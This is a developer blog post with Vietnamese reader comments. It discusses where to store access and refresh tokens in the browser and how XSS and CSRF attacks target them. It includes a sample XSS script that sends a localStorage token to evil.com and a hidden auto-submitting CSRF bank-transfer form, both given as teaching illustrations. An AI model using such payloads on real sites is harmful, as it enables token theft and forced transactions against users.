Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Articles in series:
  1. Why do we need Refresh Tokens? Do you know how to securely store Refresh Tokens and Access Tokens in the browser?
  2. Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2
Daily short news for you
  • Everyone using Cloudflare Worker to call OpenAI's API should be careful, I've encountered the error unsupported_country_region_territory these past few days. It's likely that the Worker server is calling from a region that OpenAI does not support.

    It's strange because this error has only occurred recently 🤔

    » Read more
  • A few days ago, Apple introduced a container tool developed by themselves and open-sourced as apple/container. It is used to create and run Linux containers as lightweight virtual machines on Mac, optimized for the Silicon chip line. Does that sound familiar? Kind of like Docker, right? 😄

    Docker on Mac needs to run a Linux virtual machine to use containers, and now with Apple introducing this, maybe Docker will see an update soon. We don’t know how the performance will be yet; we’ll have to wait for evaluations from experts. It’s neither Go, nor Rust, nor C... apple/container is written in... Swift. Wow, that’s quite astonishing. 😳

    » Read more
  • Before, I mentioned that github/gh-copilot is a command-line tool that suggests commands or explains them. While browsing through some "comments," I discovered a rather interesting way of using it that I hadn't expected. That is to set an alias for the command gh copilot suggest as "??" and "???" and then, after getting used to it, it becomes extremely convenient. For example, if you want to compress a directory into a tar.gz format but forget the syntax, you can simply do: bash $ ?? "compress the pages directory into .tar.gz" Or if you encounter a command that is hard to understand, you can use: bash $ ??? "tar -xzvf pages.tar.gz pages"

    » Read more

The Issue

In the previous article, Why is Refresh Token Needed? Do You Know How to Store Refresh Token and Access Token Safely in the Browser? we learned why refresh tokens should be used. The question arises: if the access token is stolen, the chance of the refresh token "vanishing without a trace" is also very high. So what is the point of generating a refresh token when the opportunity to steal both is the same?

To find the answer, many debates have erupted, and there seems to be no end in sight because everyone has valid points. In the role of an audience member sitting in the stands of a stadium, observing the match to synthesize and present the most compelling insights. There is nothing absolute, and it depends on each person's perspective. Therefore, we hope you continue to contribute your opinions in the comments section to improve the article. Returning to this article, let's explore where to store access tokens and refresh tokens in the browser to provide the best security, or at least understand the issue to find a suitable storage location.

Attack Forms Targeting Access Tokens & Refresh Tokens

To find ways to prevent attacks, we first need to understand what attack forms exist targeting access tokens and refresh tokens.

Basically, there are two forms. One is "theft" outright. The other is exploitation to perform actions that the user does not want. Corresponding to these two forms are the attack techniques XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). Oh, not to mention, there's a more dangerous form known as PAA (Physical Access Attack). This means the attacker directly uses the victim's machine to access and illegally copy user data. Therefore, never take your eyes off your device if it contains important data. However, since PAA is too straightforward, let's focus on the two attack forms XSS and CSRF.

XSS is a common form of attack. The attacker somehow injects a piece of JavaScript code into the server. The server distributes that code to the client. When the client receives and executes the code, the data will be stolen.

For example, a website has a comment feature. Anyone can comment, and others can view those comments. If the website has not prevented XSS, the attacker starts commenting with the content.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

This comment is distributed to others. Immediately, this code is executed, stealing the access_token and sending it to an address https://evil.com/steal.

In contrast, CSRF does not directly steal; it only exploits to force the user to perform unwanted actions.

For example, you have logged into an online banking site bank.com. Theoretically, the access token & refresh token (if any) have been stored in the browser and automatically sent for every subsequent access. The attacker tricks you into visiting their website, which contains malicious code that looks like this.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

It is easy to see that this is a piece of code that runs automatically upon access. It sends a transfer request to https://bank.com/transfer. If bank.com does not handle CSRF well, the attacker has successfully completed a money transfer because clearly, the browser recognizes a request sent to https://bank.com and immediately sends the valid access token.

CSRF can be prevented by setting SameSite=Strict or SameSite=Lax in cookies. However, not every website is suitable for these two modes. In other words, it is necessary to be cautious of potential hidden risks that are not easily noticeable.

Where to Store Access Token and Refresh Token?

Looking back in the browser, there are storage locations such as:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexedDB
  • Some browsers even support Web SQL Database - a form of SQL relational database.
  • JavaScript Variables

Therefore, let's analyze what happens if we store access tokens and refresh tokens in Cookies? If both are stored in Cookies, they will automatically be attached to every request to the server. This is unnecessary and somewhat redundant because not every request requires a refresh token. Additionally, storing both in Cookies carries a high risk of XSS and CSRF attacks. If the website is unfortunately attacked by XSS, the attacker can easily obtain the access token & refresh token.

Storing the access token or refresh token in SessionStorage, LocalStorage, IndexedDB, Web SQL... can prevent CSRF since requests do not automatically attach access tokens. However, there remains the concern of XSS. If a simple piece of JavaScript code is injected, the user data can vanish without a trace. It is evident that the crux of the issue is that attackers exploit JavaScript code to steal, so is there a place in the browser that JavaScript cannot access?

Fortunately, there is. In Cookies, there is a type of value called httpOnly - where JavaScript cannot access. Suppose the website is attacked by XSS; the attacker still cannot obtain the access code. httpOnly has all the characteristics of a normal cookie value. So does storing both in Cookies as httpOnly make it safe? Hmm... Not necessarily. Because at this point, we return to the issue of being vulnerable to CSRF attacks.

At this point, readers can realize that storing the refresh token in Cookies as httpOnly is immune to CSRF attacks. Because CSRF primarily targets the access token to gain user access, while the refresh token cannot do this. Furthermore, using the refresh token to request a new access token only occurs at a certain endpoint. Just set the Cookies to apply at that API, and you solve the problem of redundancy in each query. It is indeed a perfect choice. The issue now is to find a suitable location for the access token.

In practice, the access token only has the option of being stored in SessionStorage, LocalStorage, IndexedDB, Web SQL... to avoid CSRF attacks; the only remaining concern is XSS. Conversely, if stored in Cookies, the concern shifts back to CSRF. In summary, there is no solution that is absolutely safe. Perhaps at this point, we need to focus on preventing XSS and CSRF more than where to store them.

Additionally, there is still one place that has not been mentioned until now: in JavaScript variables. Storing the access token in a JavaScript variable does not guarantee safety against XSS but offers more benefits compared to SessionStorage, LocalStorage... mentioned above. The access token only exists during the lifecycle of the current page. When the user reloads the page or closes the website, the access token is also lost. The attacker can only steal it if they inject malicious code during the user's session and know exactly which variable contains the access token data.

Conclusion

There are two common forms of attacks targeting access tokens and refresh tokens: XSS and CSRF. While XSS exploits the injection of malicious JavaScript code to steal data, CSRF takes advantage of performing actions that the user does not want. To prevent XSS, the best approach is to store the refresh token in Cookies in httpOnly state. The access token should be stored in a JavaScript variable to eliminate CSRF attacks and minimize concerns about XSS.

Premium
Hello

5 profound lessons

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

View all

Subscribe to receive new article notifications

or
* The summary newsletter is sent every 1-2 weeks, cancel anytime.

Comments (4)

Leave a comment...
Avatar
Nguyen Danh10 months ago

PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được.PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF.

Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???

Reply
Avatar
Trần Ngọc Hải2 years ago

Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro

Reply
Avatar
Nguyễn Văn Nhật2 years ago

M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'

Reply
Avatar
Xuân Hoài Tống2 years ago

Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại

Avatar
Nguyễn Văn Nhật2 years ago

Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy

Avatar
Xuân Hoài Tống2 years ago

Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được

Avatar
Long Domi2 years ago

H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu

Reply
Avatar
Vũ Mạnh Đức2 years ago

CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...

Avatar
Long Domi2 years ago

Thanks a e sẽ nghiên cứu ạ

Avatar
Long Domi2 years ago

@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật